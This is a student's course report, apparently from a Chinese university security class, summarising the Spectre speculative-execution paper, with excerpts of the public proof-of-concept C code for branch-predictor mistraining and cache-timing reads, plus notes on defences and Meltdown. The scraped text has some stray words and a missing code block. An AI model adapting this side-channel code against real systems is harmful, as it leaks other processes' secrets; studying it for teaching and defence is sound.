20189215 2018-2019-2 《密碼與安全新技術專題》第13周做業

課程:《密碼與安全新技術專題》
班級: 1892班
姓名: 李煬
學號:20189215
上課教師:謝四江
上課日期:2019年5月21日
必修/選修: 選修html

1.論文學習

論文題目:幽靈攻擊:利用預測執行

幽靈攻擊

熔斷(Meltdown)和幽靈(Spectre)是CPU的兩組嚴重漏洞,Meltdown漏洞影響幾乎全部的Intel CPU和部分ARM CPU,而Spectre則影響全部的Intel CPU和AMD CPU,以及主流的ARM CPU本論文不涉及熔斷,故暫不介紹。
如今的不少處理器都使用分支預測和推測執行來最大化性能。例如,若是分支的目標取決於正在讀取的內存值,則CPU將嘗試猜想目標並嘗試提早執行。當存儲器值最終到達時,CPU丟棄或提交推測計算。推測邏輯在執行方式上是越界的,能夠訪問受害者的內存和寄存器,而且能夠執行具備明顯影響反作用的操做。
幽靈攻擊涉及誘使受害者推測性地執行在正確的程序執行期間不會發生的操做,而且經過旁路分支將受害者的機密信息泄露給攻擊者。論文中的幽靈攻擊結合了側信道攻擊,故障攻擊和麪向返回編程的方法,能夠從受害者的進程中讀取任意內存。更普遍地說,論文說明了推測性執行實施違反了許多軟件安全機制所依據的安全假設,包括操做系統進程分離,靜態分析,容器化,即時(JIT)編譯以及緩存時序/側通道的對策攻擊。因爲在數十億設備中使用的Intel,AMD和ARM微處理器中存在易受攻擊的推測執行能力,這些攻擊對實際系統構成嚴重威脅。
幽靈攻擊這個名稱乍一聽以爲有些荒唐,可是瞭解以後,會發現幽靈攻擊來無影去無蹤,就像一個幽靈同樣在不知不覺間完成攻擊,名副其實。編程

推測執行

一般,處理器不知道程序的將來指令流。例如,當無序執行執行條件分支指令時,會發生這種狀況,該條件分支指令的方向取決於其執行還沒有完成的先前指令。在這種狀況下,處理器能夠保存包含其當前寄存器狀態的檢查點,對程序將遵循的路徑進行預測,並沿路徑推測性地執行指令。若是預測結果是正確的,則不須要檢查點,而且在程序執行順序中退出指令。不然,當處理器肯定它遵循錯誤的路徑時,它經過從檢查點從新加載其狀態並沿着正確的路徑繼續執行來放棄沿路徑的全部待處理指令。執行放棄指令,以便程序執行路徑外的指令所作的更改不會對程序可見。所以,推測執行維護程序的邏輯狀態,就好像執行遵循正確的路徑同樣。
推測執行簡單來講就是爲了提升系統的運行性能,許多CPU會選擇一個最有可能執行的分支來推測性地提早執行指令,若推測成功,繼續執行;若推測失敗,則返回選擇分支以前的狀態。可是返回狀態時並不會修改寄存器中的數據,所以這部分數據就有可能被攻擊者獲取,神不知鬼不覺地完成攻擊,由於表面上看起來程序並無執行錯誤。緩存

欺騙推測分支訓練器

這是一段可能會被錯誤預測的代碼:
安全

  • 代碼分析:
    這段代碼中,攻擊者首先使用有效的x調用相關代碼,訓練分支預測器判斷該if爲真。 而後,攻擊者設置x值在array1_size以外。 CPU推測邊界檢查將爲真,推測性地使用這個惡意x讀取array2 [array1 [x] * 256]。 讀取array2使用惡意x將數據加載到依賴於array1 [x]的地址的高速緩存中。當處理器發現這個if判斷應該爲假時,從新選擇執行路徑,但緩存狀態的變化不會被恢復,而且能夠被攻擊者檢測到,從而找到受害者的存儲器的一個字節。
  • 該段代碼的一般執行過程以下:
    進入if判斷語句後,首先從高速緩存查詢有無array1_size的值,若是沒有則從低速存儲器查詢。按照咱們的設計,高速緩存一直被擦除因此沒有array1_size的值,總要去低速緩存查詢。查詢到後,該判斷爲真,因而前後從高速緩存查詢array1[x]和array2[array1[x]*256]的值,通常狀況下是不會有的,因而從低速緩存加載到高速緩存。
  • 代碼執行:
    執行過幾回以後,if判斷連續爲真,在下一次須要從低速緩存加載array1_size時,爲了避免形成時鐘週期的浪費,CPU的預測執行開始工做,此時它有理由判斷if條件爲真,由於以前均爲真(根據以前的結果進行推測),因而直接執行if爲真的代碼,也就是說此時即使x的值越界了,咱們依然頗有可能在高速緩存中查詢到內存中array1[x]和array2[array1[x]*256]的值,當CPU發現預測錯誤時咱們已經獲得了須要的信息。

攻擊過程及結果

  • 交替輸入有效和惡意的參數:
for (volatile int z = 0; z < 100; z++) {}  /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF;    /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16));    /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
  • 經過直接讀取cache中的值肯定攻擊是否命中,當命中某個值達到必定次數時斷定命中結果
/* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
    mix_i = ((i * 167) + 13) & 255;
    addr = &array2[mix_i * 512];
    time1 = __rdtscp(&junk);    /* READ TIMER */
    junk = *addr;   /* MEMORY ACCESS TO TIME */
    time2 = __rdtscp(&junk) - time1;    /* READ TIMER & COMPUTE ELAPSED TIME */
    if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
    results[mix_i]++;  /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
    if (j < 0 || results[i] >= results[j]) {
    k = j;
    j = i;
    } else if (k < 0 || results[i] >= results[k]) {
    k = i;
    }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] ==  0))
    break;  /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
  • 運行結果

2.學習中遇到的問題及解決

  • 問題1:array2大小爲什麼是256*512,程序中須要的是256個
  • 問題1解決方案:根據論文中提到的存儲器層次結構和一些資料,這多是由於系統中存在多重緩存,把內存中某處的數值讀到最高速的緩存中時,其相鄰的值極可能也會被讀到比它次一級的高速緩存,在次一級的高速緩存中的數值被讀取的速度一樣很是快,可能會影響程序中用讀取時間判斷是否命中。
  • 問題2:幽靈漏洞的防禦
  • 問題2解決方案:爲了不受到影響,敏感數據和運算儘量在獨立的安全芯片上運行,使得普通權限的執行環境和高權限的執行環境從物理上隔離起來。及時升級補丁,特別是公有云平臺。因爲雲服務體系的龐大、複雜,雲服務廠家應儘早地進行漏洞修補,避免關鍵數據和隱私的泄露、登錄憑證被竊取等災害。目前基於軟件的補丁只是作了臨時隔離,如TLB隔離等,可是將來將會有一些繞過技術會出現,更換硬件纔是完全修復這個問題的關鍵。
  • 問題3:熔斷漏洞
  • 問題3解決方案:
    • 在現代處理器上,內核和用戶進程之間的隔離一般由處理器的一個監督位來實現,該監督位定義是否能夠訪問內核的內存頁面。其基本思想是隻有在進入內核代碼時才能設置該位,切換到用戶進程時該位被清除。如今的CPU幾乎都是亂序執行的,好比先後並不關聯的指令,是能夠亂序執行的。由於前面的指令可能須要等待讀取內存,須要不少指令週期,亂序執行能夠提高性能,CPU爲了避免浪費指令週期能夠先執行後面不相關的指令。
    • CPU是亂序執行的,若是認爲兩句代碼沒什麼關聯,因此接下來的代碼將有可能獲得部分的執行。可是intel處理器在進入特權狀態後訪問內存的時候是不進行指令的權限檢測的,若是某行異常會致使CPU進入特權狀態,但下面的代碼的指令的權限是用戶態的,這樣就會致使內存從cache中泄露。

3.本論文的學習感悟、思考等

CPU性能的提高帶來了計算機速度的飛速提高,可是提高性能的代價是一些非顯性的安全問題,熔斷和幽靈都是如此,想要徹底避免這中漏洞攻擊,能夠經過打補丁修改機制,不過會下降性能,也能夠更換硬件,從根本上解決問題,可是誰也說很差新的方案會不會有什麼問題。幽靈攻擊來無影去無蹤,踏雪無痕,可是發現了問題,總有完美解決的一天,人類的科技進步也遵循這樣發現問題-解決問題的規律。ide

參考資料

相關文章
相關標籤/搜索